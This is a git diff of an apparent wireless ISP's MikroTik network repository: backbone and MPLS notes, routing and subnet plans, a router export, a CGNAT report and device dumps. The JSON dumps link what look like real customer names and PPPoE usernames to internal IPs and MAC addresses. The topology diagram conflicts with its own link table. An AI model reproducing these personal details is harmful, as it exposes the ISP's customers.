### MPLS-MTU is the labeled-frame cap, not the IP-payload cap
|
||||||
|
`mpls-mtu=1500` caps the *labeled* frame at 1500 bytes, which means an inner
|
||||||
|
IP payload is limited to 1496 bytes — so 1500-byte DF customer traffic gets
|
||||||
|
icmp-frag-needed. Use `mpls-mtu=1508` for a 1500-byte IP payload + 4-byte
|
||||||
|
label, with 4 bytes of headroom for one more stacked label. The AF11/AF24
|
||||||
|
radio l2mtu is 2024, so 1508 fits comfortably.
|
||||||
|
|
||||||
|
### Fleet-wide MPLS topology
|
||||||
|
LDP runs IPv4-only across every backbone link in the network. Every backbone
|
||||||
|
port has `mpls-mtu=1508` set explicitly and a fasttrack-bypass pair (in/out)
|
||||||
|
above the `fasttrack-connection` rule on both endpoints. Documented in
|
||||||
|
`mikrotik-tool/mpls.md`.
|
||||||
|
|
||||||
|
```
|
||||||
|
verona ──AF11── climax ──AF24── core ──AF11── culleoka
|
||||||
|
│ │ │
|
||||||
|
│ AF11 │ AF11 │ AF11 (DOWN: power injector unplugged)
|
||||||
|
│ │ │
|
||||||
|
494 newhope ──AF24── lowry
|
||||||
|
│
|
||||||
|
│ 60 GHz
|
||||||
|
│
|
||||||
|
982
|
||||||
|
```
|
||||||
|
Wait — that diagram's links are: climax↔494 (AF11), core↔newhope (AF11),
|
||||||
|
core↔982 (60 GHz), newhope↔lowry (AF24). The climax↔culleoka direct AF11
|
||||||
|
is currently down at the radio (physical issue), so culleoka traffic
|
||||||
|
transits via core.
|
||||||
|
|
||||||
|
## Fleet Topology
|
||||||
|
|
||||||
|
### Routers and loopbacks
|
||||||
|
All ROS7 routers run RouterOS 7.21.4 long-term (post-2026-05-08 fleet
|
||||||
|
upgrade). Edge runs ROS 6.49.18 (legacy, no MPLS, ignore for the spine).
|
||||||
|
|
||||||
|
| Router | Loopback (10.254.254.x) | Hardware | Site name |
|
||||||
|
|--|--|--|--|
|
||||||
|
| verona | .101 | CCR2004-16G-2S+ (arm64) | verona |
|
||||||
|
| climax | .102 | CCR2004-16G-2S+ (arm64) | climax |
|
||||||
|
| culleoka | .104 | CCR1009-7G-1C-1S+ (tile) | culleoka |
|
||||||
|
| newhope | .108 | CCR1009-7G-1C-1S+ (tile) | newhope |
|
||||||
|
| lowry | .109 | (tile) | lowrycrossing |
|
||||||
|
| 982 | .110 | (CCR, tile) | 982 |
|
||||||
|
| 494 | .111 | (CCR, tile) | 494 |
|
||||||
|
| core | .253 | (CCR, arm64) at 380 | core/380 |
|
||||||
|
| edge | .254 | (legacy, ROS 6.49.18) | edge |
|
||||||
|
|
||||||
|
Tile-arch boxes can run MPLS but **not** ZeroTier (no .npk for tile).
|
||||||
|
|
||||||
|
### Backbone links
|
||||||
|
Every link below has IPv4 LDP enabled at both ends, `mpls-mtu=1508`, and
|
||||||
|
fasttrack-bypass rules in both directions on both routers.
|
||||||
|
|
||||||
|
| Link | Type | A-side iface | B-side iface | /29 subnet | l2mtu |
|
||||||
|
|--|--|--|--|--|--|
|
||||||
|
| verona↔climax | AF11 | verona `ether3-climax-11ghz` | climax `ether6-verona-11ghz` | 10.250.1.24/29 | 2024 |
|
||||||
|
| climax↔core | AF24 | climax `ether4-380-airfiber24` | core `ether5-climax` | 10.250.1.88/29 | 2024 |
|
||||||
|
| climax↔494 | AF11 | climax `ether5-494` | 494 `ether2-climax` | 10.250.1.64/29 | 1580 |
|
||||||
|
| climax↔culleoka | AF11 | climax `ether3-culleoka-11ghz` | culleoka `ether1-climax-11ghz` | 10.250.1.8/29 | 2024 (link DOWN) |
|
||||||
|
| core↔culleoka | AF11 | core `ether6-culleoka-11ghz` | culleoka `ether6-380-11ghz` | 10.250.1.48/29 | 2024 |
|
||||||
|
| core↔newhope | AF11 | core `ether4-newhope` | newhope `ether2-380` | 10.250.1.56/29 | 9000 |
|
||||||
|
| core↔982 | 60 GHz | core `ether1-982-60ghz` | 982 `ether7-380` | 10.250.1.32/29 | 9000 |
|
||||||
|
| newhope↔lowry | AF24 | newhope `ether6-lowrycrossing` | lowry `ether1-newhope` | 10.250.1.104/29 | 9000 |
|
||||||
|
| core↔edge | wired | core `sfp-sfpplus1-edge-preseem` + `ether3-edge-direct` | edge ports | 204.110.191.x | n/a |
|
||||||
|
|
||||||
|
l2mtu mismatches across the fleet are intentional per platform: AF11 base
|
||||||
|
ports default to 2024 on CCR2004 / 1580 on smaller CCRs; jumbo-capable
|
||||||
|
links (60 GHz, AF24-with-jumbo, fiber) go to 9000. **Always raise both
|
||||||
|
sides symmetrically when changing l2mtu** — single-side raises usually work
|
||||||
|
because Ethernet receivers accept anything ≤ their cap, but symmetric is
|
||||||
|
the rule.
|
||||||
|
|
||||||
|
### IGP / routing
|
||||||
|
- OSPFv2 area `backbone-v2` (id 0.0.0.0) on all spine links, SHA-512 auth
|
||||||
|
with `auth-id=1` and a shared key. PTP type, BFD enabled where supported.
|
||||||
|
- OSPFv3 area `backbone-v3` for IPv6 (some interfaces only).
|
||||||
|
- All instances `redistribute=connected` with passthrough filters
|
||||||
|
(`/routing filter rule chain=ospf-out rule="accept;"`).
|
||||||
|
- Verona has a static default to `10.250.1.30` (climax) backing up the OSPF
|
||||||
|
default — keep this; bouncing OSPF on verona doesn't blackhole it.
|
||||||
|
- Distance-1 static routes also exist on climax for `204.110.191.0/27` so
|
||||||
|
the home /27 has guaranteed return path even if OSPF redistribution
|
||||||
|
hiccups.
|
||||||
|
|
||||||
|
### Management subnets per tower
|
||||||
|
`10.10.x.0/20` per site, top /24 reserved for APs (see Access Point
|
||||||
|
Placement section). Authoritative mapping is in
|
||||||
|
`mikrotik-tool/inventory.yaml`. Quick reference:
|
||||||
|
- verona: 10.10.0.0/20
|
||||||
|
- altoga (behind verona, no router): 10.10.16.0/20
|
||||||
|
- climax: 10.10.48.0/20
|
||||||
|
- core/380: 10.10.64.0/20
|
||||||
|
- culleoka: 10.10.96.0/20
|
||||||
|
- 982: 10.10.128.0/20
|
||||||
|
- newhope: 10.10.144.0/20
|
||||||
|
- 494: 10.10.160.0/20
|
||||||
|
- lowry: 10.10.80.0/20
|
||||||
|
|
||||||
|
CGNAT pools: `100.64.x.x/22` per tower (see `inventory.yaml` /
|
||||||
|
`subnets.yaml`).
|
||||||
|
|
||||||
|
### graham's home network gotcha
|
||||||
|
graham's home connects to verona via `vlan9_sfpplus1` carrying
|
||||||
|
`204.110.191.0/27` (home router at `.1`, verona at `.30`). This /27 is a
|
||||||
|
subnet of the verona hotspot's covered range (`204.110.188.0/22`). After
|
||||||
|
any verona reboot, ensure `/ip hotspot ip-binding` has an entry:
|
||||||
|
`address=204.110.191.0/27 type=bypassed comment="graham home /27"` —
|
||||||
|
without it, hotspot drops all `204.110.191.x` traffic in `hs-unauth-to`
|
||||||
|
chain with `icmp-host-prohibited`. Symptom is "I can reach verona but
|
||||||
|
nothing past it" from the home network.
|
||||||
|
|
||||||
|
### IPv6 plan
|
||||||
|
Per-tower /44s + central server LAN at `2606:1c80::/64` on edge. Full
|
||||||
|
allocation plan in `mikrotik-tool/ipv6.md`. NetBox has these as IPAM
|
||||||
|
prefixes.
|
||||||
|
|
||||||
|
## Claude Assistant Guidelines
|
||||||
|
|
||||||
|
- Any time Claude learns something new, automatically add it to CLAUDE.md
|
||||||
|
|
||||||
|
## Development Best Practices
|
||||||
|
- When making scripts, keep them as generic and reusable as possible
|
||||||
1
README.md
Normal file
1
README.md
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
/certificate add name=ca-template common-name=MyCA key-size=2048 days-valid=3650 key-usage=crl-sign,key-cert-sign; /certificate sign ca-template ca-crl-host=127.0.0.1 name=MyCA; /certificate add name=api-ssl common-name=10.254.254.102 key-size=2048 days-valid=3650 key-usage=digital-signature,key-encipherment,tls-server; /certificate sign api-ssl ca=MyCA name=api-ssl; /ip service set api-ssl certificate=api-ssl disabled=no port=8729
|
||||||
BIN
__pycache__/mikrotik_connect.cpython-313.pyc
Normal file
BIN
__pycache__/mikrotik_connect.cpython-313.pyc
Normal file
Binary file not shown.
51
backhauls.tf
Normal file
51
backhauls.tf
Normal file
|
|
@ -0,0 +1,51 @@
|
||||||
|
# resource "towerops_device" "device_982_380_60_lr" {
|
||||||
|
# site_id = towerops_site.backhauls.id
|
||||||
|
# name = "982_380_60 LR"
|
||||||
|
# ip_address = "10.250.1.34"
|
||||||
|
# snmp_version = "1"
|
||||||
|
# }
|
||||||
|
|
||||||
|
# resource "towerops_device" "device_380_982_60_lr" {
|
||||||
|
# site_id = towerops_site.backhauls.id
|
||||||
|
# name = "380_982_ 60 LR"
|
||||||
|
# ip_address = "10.250.1.37"
|
||||||
|
# snmp_version = "1"
|
||||||
|
# }
|
||||||
|
|
||||||
|
|
||||||
|
# resource "towerops_device" "device_380_to_culleoka_11g" {
|
||||||
|
# site_id = towerops_site.backhauls.id
|
||||||
|
# name = "380 to Culleoka 11g"
|
||||||
|
# ip_address = "10.250.1.53"
|
||||||
|
# snmp_version = "1"
|
||||||
|
# }
|
||||||
|
|
||||||
|
|
||||||
|
# resource "towerops_device" "device_380_to_new_hope" {
|
||||||
|
# site_id = towerops_site.backhauls.id
|
||||||
|
# name = "380 to New Hope"
|
||||||
|
# ip_address = "10.250.1.61"
|
||||||
|
# snmp_version = "1"
|
||||||
|
# }
|
||||||
|
|
||||||
|
# resource "towerops_device" "climax_70" {
|
||||||
|
# site_id = towerops_site.backhauls.id
|
||||||
|
# name = "climax"
|
||||||
|
# ip_address = "10.250.1.70"
|
||||||
|
# snmp_version = "1"
|
||||||
|
# }
|
||||||
|
|
||||||
|
|
||||||
|
# resource "towerops_device" "lowry_crossing_to_new_hope" {
|
||||||
|
# site_id = towerops_site.backhauls.id
|
||||||
|
# name = "Lowry Crossing to New Hope"
|
||||||
|
# ip_address = "10.250.1.106"
|
||||||
|
# snmp_version = "1"
|
||||||
|
# }
|
||||||
|
|
||||||
|
# resource "towerops_device" "new_hope_to_lowry_crossing" {
|
||||||
|
# site_id = towerops_site.backhauls.id
|
||||||
|
# name = "new hope to lowry crossing"
|
||||||
|
# ip_address = "10.250.1.109"
|
||||||
|
# snmp_version = "1"
|
||||||
|
# }
|
||||||
156
camper.rsc
Normal file
156
camper.rsc
Normal file
|
|
@ -0,0 +1,156 @@
|
||||||
|
# 2025-11-27 17:39:07 by RouterOS 7.20.4
|
||||||
|
# software id = DM48-6FY7
|
||||||
|
#
|
||||||
|
# model = RB4011iGS+5HacQ2HnD
|
||||||
|
# serial number = A2820A548561
|
||||||
|
/interface bridge
|
||||||
|
add admin-mac=74:4D:28:1A:67:09 auto-mac=no comment=defconf name=bridgeLocal
|
||||||
|
add name=dockers
|
||||||
|
/interface wireless
|
||||||
|
set [ find default-name=wlan1 ] band=2ghz-g/n mode=ap-bridge ssid=camper \
|
||||||
|
wireless-protocol=802.11
|
||||||
|
/interface ethernet
|
||||||
|
set [ find default-name=ether2 ] name=ether2-starlink
|
||||||
|
set [ find default-name=ether3 ] name=ether3-tmobile
|
||||||
|
/interface veth
|
||||||
|
add address=172.17.0.2/16 dhcp=no gateway=172.17.0.1 gateway6="" name=veth1
|
||||||
|
/interface list
|
||||||
|
add name=WAN
|
||||||
|
add name=LAN
|
||||||
|
/interface wireless security-profiles
|
||||||
|
set [ find default=yes ] authentication-types=wpa-psk,wpa2-psk mode=\
|
||||||
|
dynamic-keys supplicant-identity=MikroTik
|
||||||
|
add authentication-types=wpa-psk,wpa2-psk mode=dynamic-keys name=\
|
||||||
|
wlan2-profile supplicant-identity=MikroTik
|
||||||
|
/interface wireless
|
||||||
|
set [ find default-name=wlan2 ] band=5ghz-n/ac disabled=no mode=ap-bridge \
|
||||||
|
security-profile=wlan2-profile ssid=camper wireless-protocol=802.11 \
|
||||||
|
wps-mode=disabled
|
||||||
|
/ip pool
|
||||||
|
add name=dhcp ranges=10.0.20.1-10.0.20.249
|
||||||
|
/ip dhcp-server
|
||||||
|
add address-pool=dhcp interface=bridgeLocal name=dhcp1
|
||||||
|
/port
|
||||||
|
set 0 name=serial0
|
||||||
|
set 1 name=serial1
|
||||||
|
/interface bridge port
|
||||||
|
add bridge=bridgeLocal comment=defconf interface=ether4
|
||||||
|
add bridge=bridgeLocal comment=defconf interface=ether5
|
||||||
|
add bridge=bridgeLocal comment=defconf interface=ether6
|
||||||
|
add bridge=bridgeLocal comment=defconf interface=ether7
|
||||||
|
add bridge=bridgeLocal comment=defconf interface=ether8
|
||||||
|
add bridge=bridgeLocal comment=defconf interface=ether9
|
||||||
|
add bridge=bridgeLocal comment=defconf interface=ether10
|
||||||
|
add bridge=bridgeLocal comment=defconf interface=sfp-sfpplus1
|
||||||
|
add bridge=bridgeLocal interface=wlan2
|
||||||
|
add bridge=bridgeLocal interface=wlan1
|
||||||
|
add bridge=dockers interface=veth1
|
||||||
|
/interface detect-internet
|
||||||
|
set lan-interface-list=LAN wan-interface-list=dynamic
|
||||||
|
/interface list member
|
||||||
|
add interface=ether2-starlink list=WAN
|
||||||
|
add interface=ether3-tmobile list=WAN
|
||||||
|
add interface=bridgeLocal list=LAN
|
||||||
|
/interface wireless cap
|
||||||
|
set bridge=bridgeLocal discovery-interfaces=bridgeLocal interfaces=\
|
||||||
|
wlan1,wlan2
|
||||||
|
/ip address
|
||||||
|
add address=10.0.20.254/24 interface=bridgeLocal network=10.0.20.0
|
||||||
|
add address=172.17.0.1/16 interface=dockers network=172.17.0.0
|
||||||
|
/ip dhcp-client
|
||||||
|
add comment=tmobile default-route-distance=1 interface=ether3-tmobile
|
||||||
|
# Interface not active
|
||||||
|
add comment=defconf default-route-distance=2 interface=ether2-starlink
|
||||||
|
/ip dhcp-server lease
|
||||||
|
add address=10.0.20.251 client-id=1:2:a6:41:99:eb:4a mac-address=\
|
||||||
|
02:A6:41:99:EB:4A server=dhcp1
|
||||||
|
add address=10.0.20.252 client-id=\
|
||||||
|
ff:7e:7c:b4:ba:0:2:0:0:ab:11:20:5d:5:17:27:4d:31:d5 mac-address=\
|
||||||
|
BC:24:11:24:87:16 server=dhcp1
|
||||||
|
add address=10.0.20.249 client-id=\
|
||||||
|
ff:11:c3:76:34:0:1:0:1:30:a2:27:b8:bc:24:11:c3:76:34 mac-address=\
|
||||||
|
BC:24:11:C3:76:34 server=dhcp1
|
||||||
|
add address=10.0.20.253 mac-address=BC:24:11:E1:EA:98 server=dhcp1
|
||||||
|
/ip dhcp-server network
|
||||||
|
add address=10.0.20.0/24 dns-server=10.0.20.253,9.9.9.9,149.112.112.112 \
|
||||||
|
gateway=10.0.20.254 netmask=24
|
||||||
|
/ip firewall nat
|
||||||
|
add action=masquerade chain=srcnat out-interface-list=WAN
|
||||||
|
/ip route
|
||||||
|
add comment=starlink disabled=no dst-address=192.168.100.1/32 gateway=\
|
||||||
|
192.168.1.1 routing-table=main suppress-hw-offload=no
|
||||||
|
add dst-address=100.64.0.0/10 gateway=172.17.0.2
|
||||||
|
/ip upnp
|
||||||
|
set enabled=yes
|
||||||
|
/ip upnp interfaces
|
||||||
|
add interface=bridgeLocal type=internal
|
||||||
|
add interface=ether1 type=external
|
||||||
|
/ipv6 address
|
||||||
|
# address pool error: pool not found: starlink-v6 (4)
|
||||||
|
add address=::2 from-pool=starlink-v6 interface=bridgeLocal
|
||||||
|
/ipv6 dhcp-client
|
||||||
|
add interface=ether2-starlink pool-name=starlink-v6 rapid-commit=no request=\
|
||||||
|
prefix use-interface-duid=yes
|
||||||
|
/ipv6 firewall address-list
|
||||||
|
add address=::/128 comment="defconf: unspecified address" list=bad_ipv6
|
||||||
|
add address=::1/128 comment="defconf: lo" list=bad_ipv6
|
||||||
|
add address=fec0::/10 comment="defconf: site-local" list=bad_ipv6
|
||||||
|
add address=::ffff:0.0.0.0/96 comment="defconf: ipv4-mapped" list=bad_ipv6
|
||||||
|
add address=::/96 comment="defconf: ipv4 compat" list=bad_ipv6
|
||||||
|
add address=100::/64 comment="defconf: discard only " list=bad_ipv6
|
||||||
|
add address=2001:db8::/32 comment="defconf: documentation" list=bad_ipv6
|
||||||
|
add address=2001:10::/28 comment="defconf: ORCHID" list=bad_ipv6
|
||||||
|
add address=fe80::/10 list=prefix_delegation
|
||||||
|
add address=2605:59c8:4700:5c61::1/128 comment="dhcp6 client server value" \
|
||||||
|
list=prefix_delegation
|
||||||
|
/ipv6 firewall filter
|
||||||
|
add action=accept chain=input dst-port=5678 protocol=udp
|
||||||
|
add action=accept chain=input comment=\
|
||||||
|
"defconf: accept established,related,untracked" connection-state=\
|
||||||
|
established,related,untracked
|
||||||
|
add action=drop chain=input comment="defconf: drop invalid" connection-state=\
|
||||||
|
invalid
|
||||||
|
add action=accept chain=input comment="defconf: accept ICMPv6" protocol=\
|
||||||
|
icmpv6
|
||||||
|
add action=accept chain=input comment="defconf: accept UDP traceroute" port=\
|
||||||
|
33434-33534 protocol=udp
|
||||||
|
add action=accept chain=input comment=\
|
||||||
|
"defconf: accept DHCPv6-Client prefix delegation." dst-port=546 protocol=\
|
||||||
|
udp src-address-list=prefix_delegation
|
||||||
|
add action=drop chain=input comment=\
|
||||||
|
"defconf: drop everything else not coming from LAN" in-interface=\
|
||||||
|
!bridgeLocal
|
||||||
|
add action=accept chain=forward comment=\
|
||||||
|
"defconf: accept established,related,untracked" connection-state=\
|
||||||
|
established,related,untracked
|
||||||
|
add action=drop chain=forward comment="defconf: drop invalid" \
|
||||||
|
connection-state=invalid
|
||||||
|
add action=drop chain=forward comment=\
|
||||||
|
"defconf: drop packets with bad src ipv6" src-address-list=bad_ipv6
|
||||||
|
add action=drop chain=forward comment=\
|
||||||
|
"defconf: drop packets with bad dst ipv6" dst-address-list=bad_ipv6
|
||||||
|
add action=drop chain=forward comment="defconf: rfc4890 drop hop-limit=1" \
|
||||||
|
hop-limit=equal:1 protocol=icmpv6
|
||||||
|
add action=accept chain=forward comment="defconf: accept ICMPv6" protocol=\
|
||||||
|
icmpv6
|
||||||
|
add action=accept chain=forward comment="defconf: accept HIP" protocol=139
|
||||||
|
add action=drop chain=forward comment=\
|
||||||
|
"defconf: drop everything else not coming from LAN" in-interface=\
|
||||||
|
!bridgeLocal
|
||||||
|
/ipv6 nd
|
||||||
|
set [ find default=yes ] advertise-dns=no hop-limit=64 \
|
||||||
|
managed-address-configuration=yes mtu=1280 other-configuration=yes \
|
||||||
|
ra-interval=3m20s-8m20s
|
||||||
|
/ipv6 nd prefix default
|
||||||
|
set preferred-lifetime=10m valid-lifetime=15m
|
||||||
|
/system clock
|
||||||
|
set time-zone-name=America/Chicago
|
||||||
|
/system identity
|
||||||
|
set name=camper
|
||||||
|
/system leds
|
||||||
|
add interface=wlan1 leds="wlan1_signal1-led,wlan1_signal2-led,wlan1_signal3-le\
|
||||||
|
d,wlan1_signal4-led,wlan1_signal5-led" type=wireless-signal-strength
|
||||||
|
add interface=wlan1 leds=wlan1_tx-led type=interface-transmit
|
||||||
|
add interface=wlan1 leds=wlan1_rx-led type=interface-receive
|
||||||
|
/system routerboard settings
|
||||||
|
set auto-upgrade=yes
|
||||||
54
cgnat_allocation_analysis.md
Normal file
54
cgnat_allocation_analysis.md
Normal file
|
|
@ -0,0 +1,54 @@
|
||||||
|
# CGNAT Allocation Analysis
|
||||||
|
|
||||||
|
This report analyzes the CGNAT (100.64.x.x) subnet allocations across all network sites to identify which sites use /22 allocations versus other sizes.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
### Sites Using /22 Allocations
|
||||||
|
1. **Climax** - 100.64.4.0/22 (100.64.4.0 - 100.64.7.255)
|
||||||
|
2. **Culleoka** - 100.64.24.0/22 (100.64.24.0 - 100.64.27.255)
|
||||||
|
3. **Site 982** - 100.64.32.0/22 (100.64.32.0 - 100.64.35.255)
|
||||||
|
4. **New Hope** - 100.64.16.0/22 (100.64.16.0 - 100.64.19.255)
|
||||||
|
5. **Site 380** - 100.64.8.0/22 (100.64.8.0 - 100.64.11.255)
|
||||||
|
|
||||||
|
### Sites Using /20 Allocations
|
||||||
|
1. **Site 494** - 100.64.160.0/20 (100.64.160.0 - 100.64.175.255)
|
||||||
|
2. **Lowry Crossing** - 100.64.144.0/20 (100.64.144.0 - 100.64.159.255)
|
||||||
|
|
||||||
|
## Detailed Site Information
|
||||||
|
|
||||||
|
### /22 Allocations (1,024 addresses each)
|
||||||
|
| Site | CGNAT Subnet | Router IP | Interface |
|
||||||
|
|------|-------------|-----------|-----------|
|
||||||
|
| Climax | 100.64.4.0/22 | 100.64.7.254/22 | climax-bridge |
|
||||||
|
| Culleoka | 100.64.24.0/22 | 100.64.27.254/22 | ether2-netonix |
|
||||||
|
| Site 982 | 100.64.32.0/22 | 100.64.35.254/22 | 982 |
|
||||||
|
| New Hope | 100.64.16.0/22 | 100.64.19.254/22 | sfp-sfpplus1-edgepoint |
|
||||||
|
| Site 380 | 100.64.8.0/22 | 100.64.11.254/22 | combo1-380 |
|
||||||
|
|
||||||
|
### /20 Allocations (4,096 addresses each)
|
||||||
|
| Site | CGNAT Subnet | Router IP | Interface |
|
||||||
|
|------|-------------|-----------|-----------|
|
||||||
|
| Site 494 | 100.64.160.0/20 | 100.64.175.254/20 | 494 |
|
||||||
|
| Lowry Crossing | 100.64.144.0/20 | 100.64.159.254/20 | lowrycrossing |
|
||||||
|
|
||||||
|
## Key Observations
|
||||||
|
|
||||||
|
1. **Allocation Size Pattern**:
|
||||||
|
- 5 sites use /22 allocations (1,024 addresses)
|
||||||
|
- 2 sites use /20 allocations (4,096 addresses)
|
||||||
|
|
||||||
|
2. **Larger Sites**: Sites 494 and Lowry Crossing have 4x larger CGNAT allocations compared to the other sites, suggesting they either serve more customers or were allocated larger blocks for future growth.
|
||||||
|
|
||||||
|
3. **Address Usage**: The /22 sites can support up to 1,022 customer connections (excluding network and broadcast addresses), while the /20 sites can support up to 4,094 customer connections.
|
||||||
|
|
||||||
|
4. **Sequential Allocation**: The /22 allocations appear to be somewhat sequential:
|
||||||
|
- 100.64.4.0/22 (Climax)
|
||||||
|
- 100.64.8.0/22 (Site 380)
|
||||||
|
- 100.64.16.0/22 (New Hope)
|
||||||
|
- 100.64.24.0/22 (Culleoka)
|
||||||
|
- 100.64.32.0/22 (Site 982)
|
||||||
|
|
||||||
|
5. **Separate Range for /20s**: The /20 allocations are in a different part of the CGNAT space:
|
||||||
|
- 100.64.144.0/20 (Lowry Crossing)
|
||||||
|
- 100.64.160.0/20 (Site 494)
|
||||||
41132
cgnat_hosts.txt
Normal file
41132
cgnat_hosts.txt
Normal file
File diff suppressed because it is too large
Load diff
30
climax_access_points.json
Normal file
30
climax_access_points.json
Normal file
|
|
@ -0,0 +1,30 @@
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"name": "Gordon Hamilton",
|
||||||
|
"ip": "10.10.16.36",
|
||||||
|
"mac": "FC:EC:DA:CE:69:97",
|
||||||
|
"source": "dhcp",
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Tae Kim",
|
||||||
|
"ip": "10.10.16.70",
|
||||||
|
"mac": "FC:EC:DA:CE:68:19",
|
||||||
|
"source": "dhcp",
|
||||||
|
"comment": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "ether5-494",
|
||||||
|
"ip": "10.250.1.65",
|
||||||
|
"mac": "DC:2C:6E:DD:87:55",
|
||||||
|
"source": "arp",
|
||||||
|
"interface": "ether5-494"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "mgmt",
|
||||||
|
"ip": "10.10.31.13",
|
||||||
|
"mac": "80:2A:A8:FC:1D:AE",
|
||||||
|
"source": "arp",
|
||||||
|
"interface": "mgmt"
|
||||||
|
}
|
||||||
|
]
|
||||||
1353
climax_all_devices.json
Normal file
1353
climax_all_devices.json
Normal file
File diff suppressed because it is too large
Load diff
683
climax_config.json
Normal file
683
climax_config.json
Normal file
|
|
@ -0,0 +1,683 @@
|
||||||
|
{
|
||||||
|
"host": "10.254.254.102",
|
||||||
|
"identity": null,
|
||||||
|
"timestamp": "2026-03-26T17:14:54.781268",
|
||||||
|
"subnets": [
|
||||||
|
{
|
||||||
|
"address": "10.0.102.254/24",
|
||||||
|
"network": "10.0.102.0",
|
||||||
|
"interface": "ether1-climaxtower",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.254.254.102/32",
|
||||||
|
"network": "10.254.254.102",
|
||||||
|
"interface": "lo",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "204.110.188.62/27",
|
||||||
|
"network": "204.110.188.32",
|
||||||
|
"interface": "climax-bridge",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.254/22",
|
||||||
|
"network": "100.64.4.0",
|
||||||
|
"interface": "climax-bridge",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.1.14/29",
|
||||||
|
"network": "10.250.1.8",
|
||||||
|
"interface": "ether3-culleoka-11ghz",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.1.30/29",
|
||||||
|
"network": "10.250.1.24",
|
||||||
|
"interface": "ether6-verona-11ghz",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.1.70/29",
|
||||||
|
"network": "10.250.1.64",
|
||||||
|
"interface": "ether5-494",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.1.94/29",
|
||||||
|
"network": "10.250.1.88",
|
||||||
|
"interface": "ether4-380-airfiber24",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.10.31.254/20",
|
||||||
|
"network": "10.10.16.0",
|
||||||
|
"interface": "mgmt",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.247/32",
|
||||||
|
"network": "100.64.7.246",
|
||||||
|
"interface": "<pppoe-robbymccollom>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.245/32",
|
||||||
|
"network": "100.64.7.244",
|
||||||
|
"interface": "<pppoe-matthewgoodwin>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.241/32",
|
||||||
|
"network": "100.64.7.240",
|
||||||
|
"interface": "<pppoe-chasewilliams>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.239/32",
|
||||||
|
"network": "100.64.7.238",
|
||||||
|
"interface": "<pppoe-timgilbert>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.235/32",
|
||||||
|
"network": "100.64.7.234",
|
||||||
|
"interface": "<pppoe-gordonhamilton>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.231/32",
|
||||||
|
"network": "100.64.7.230",
|
||||||
|
"interface": "<pppoe-amberprater>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.229/32",
|
||||||
|
"network": "204.110.188.38",
|
||||||
|
"interface": "<pppoe-michaelray>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.228/32",
|
||||||
|
"network": "100.64.7.227",
|
||||||
|
"interface": "<pppoe-cynthiajones>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.224/32",
|
||||||
|
"network": "100.64.7.223",
|
||||||
|
"interface": "<pppoe-janicealexander>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.220/32",
|
||||||
|
"network": "100.64.7.219",
|
||||||
|
"interface": "<pppoe-douggarber>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.218/32",
|
||||||
|
"network": "100.64.7.217",
|
||||||
|
"interface": "<pppoe-marysmelser>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.216/32",
|
||||||
|
"network": "100.64.7.215",
|
||||||
|
"interface": "<pppoe-eddieyarbrough>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.214/32",
|
||||||
|
"network": "204.110.188.42",
|
||||||
|
"interface": "<pppoe-taekim>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.213/32",
|
||||||
|
"network": "100.64.7.212",
|
||||||
|
"interface": "<pppoe-charlesboone>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.7.211/32",
|
||||||
|
"network": "100.64.7.210",
|
||||||
|
"interface": "<pppoe-chadwhitsell>",
|
||||||
|
"comment": "",
|
||||||
|
